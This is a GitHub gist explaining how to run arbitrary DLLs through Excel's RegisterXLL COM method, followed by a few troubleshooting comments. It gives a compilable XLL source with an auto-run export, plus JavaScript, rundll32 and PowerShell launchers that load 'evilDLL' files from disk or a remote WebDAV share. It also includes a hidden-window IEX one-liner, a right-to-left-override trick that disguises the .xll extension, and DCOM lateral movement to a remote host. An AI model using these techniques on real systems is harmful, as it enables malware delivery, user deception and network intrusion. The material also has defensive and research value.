

GitHub Gist

All gists

Back to GitHub

Sign in

Sign up

Instantly share code, notes, and snippets.



ryhanson / ExcelXLL.md

Last active 3 months ago

☆ Star 112

🔗 Fork 60

<> Code

🔄 Revisions 5

☆ Stars 111

🔗 Forks 60

Embed ▾

<script



Download ZIP

Execute a DLL via .xll files and the Excel.Application object's RegisterXLL() method

<> ExcelXLL.md

Raw

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does *not* need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: `C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\`.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be [found on MSDN](#)

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. [@rxwx](#) has more [notes on this here](#) including his simple example of an XLL.

An interesting thing about Office, is it will perform file format sniffing for certain extensions, such as .xls, .xlk, and .doc (and probably more). This means that you can rename the .xll to a .xls or .xlk and it will still open. However, the initial add-in warning is still triggered, along with another warning that mentions the file format and extension don't match.

Since the add-in warning shows the full path to the filename, certain unicode characters can be used to mask the .xll extension. One of my favorites is the [Right-to-Left Override Character] (<http://www.fileformat.info/info/unicode/char/202e/index.htm>). By using this character, you can make the Excel file appear as if it has any extension. For example, the filename `Footba\u202Eslx.xll` would display as `Footballx.xls`, since everything after the character is reversed.

Here is a basic example of a DLL with the required `xlAutoOpen` export to make it an XLL that executes on open. As with any DLL, execution can also be triggered in the `DLL_PROCESS_ATTACH` case.

```
// Compile with: cl.exe notepadXLL.c /LD /o notepad.xll
#include <Windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void);

void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
```

Below are samples of various ways this can be executed.

Javascript:

```
// Create Instance of Excel.Application COM object
var excel = new ActiveXObject("Excel.Application");

// Pass in path to the DLL (can use any extension)
```

```
excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");  
  
// Delivered via WebDAV  
excel.RegisterXLL("\\\\webdavserver\\files\\evilDLL.jpg");
```

Rundll32.exe mshtml.dll one-liner:

```
rundll32.exe javascript:"..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel
```

Powershell:

```
# Create Instance of Excel.Application COM object  
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))  
  
# Pass in path to the DLL (can use any extension)  
$excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")  
  
# Delivered via WebDAV  
$excel.RegisterXLL("\\webdavserver\files\evilDLL.jpg");  
  
# One liner with WebDAV:  
powershell -w hidden -c "IEX ((New-Object -ComObject Excel.Application).RegisterXLL('\\w
```

[@rxwx](#) discovered that this can also be used for lateral movement in environments that support DCOM [source](#), here is an example:

```
$Com = [Type]::GetTypeFromProgID("Excel.Application", "192.168.1.111")  
$Obj = [System.Activator]::CreateInstance($Com)  
  
# Detect Office bitness so proper DLL can be used  
$isx64 = [boolean]$Obj.Application.ProductCode[21]  
  
# Load DLL from WebDAV  
$Obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll")
```

The DCOM pivoting technique has been added to [Invoke-DCOM.ps1](#) by [@rvrsh3ll](#), thanks to [@rxwx](#)

Here is another [XLL PoC](#) by [@MooKitty](#)



Arno0x commented on Jul 25, 2017 • edited ▼



Hi,

Thanks for sharing this great technique. Whenever I try to use the powershell execution, I get a result of "False" when calling the `$excel.RegisterXLL("localFilePath")` function.

However, double-clicking on the XLL file works like a charm...

Any idea why I can seem to be able to use the COM object from Powershell (well from JS won't work either) ?

Thanks !



moohax commented on Aug 1, 2017



Not sure, where's your code? What's the command your using?



Arno0x commented on Sep 12, 2017



My bad, it's now works fine. I must have been missing something...

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.